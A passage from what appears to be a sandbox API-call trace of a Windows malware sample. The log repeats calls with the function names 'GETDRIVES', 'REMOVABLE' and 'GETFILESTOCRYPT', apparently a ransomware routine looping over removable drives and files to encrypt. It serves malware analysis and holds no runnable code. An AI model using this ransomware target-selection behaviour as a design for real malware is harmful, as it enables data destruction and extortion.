wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.695] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.695] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.695] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.695] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.695] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.696] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.696] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.696] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.696] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.696] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.696] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.696] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.696] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.696] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.696] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.696] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.696] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.696] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.696] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.696] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.696] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.696] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.697] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.697] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.697] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.697] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.697] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.697] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.697] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.697] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.697] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.697] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.697] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.697] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.697] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.697] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.697] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.697] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.697] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.697] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.697] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.698] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.698] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.698] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.698] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.698] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.698] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.698] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.698] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.698] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.698] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.698] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.698] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.698] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.698] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.698] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.698] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.699] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.699] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.699] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0086.699] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.699] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.699] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.700] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0086.700] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.700] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.700] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.700] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.700] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.700] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.700] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.700] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.700] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.700] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.701] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.701] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.701] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.701] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.706] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.706] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.706] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.706] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.706] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.706] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.706] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.707] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.707] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.707] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.707] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.707] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.707] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.707] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.708] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.708] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.708] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.708] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.708] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.708] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.708] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.709] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.709] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.709] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.710] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.710] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.710] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.710] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.711] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.711] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.711] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.711] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.711] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.711] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.711] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.711] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.712] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.712] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.712] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.712] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.712] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.712] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.712] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.713] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.713] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.713] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.713] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.713] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.713] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.713] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.720] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.721] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.721] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.721] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.721] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.721] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.721] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.721] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.722] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.722] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.722] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.722] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.722] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0086.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.722] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0086.722] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0086.722] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0086.723] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: 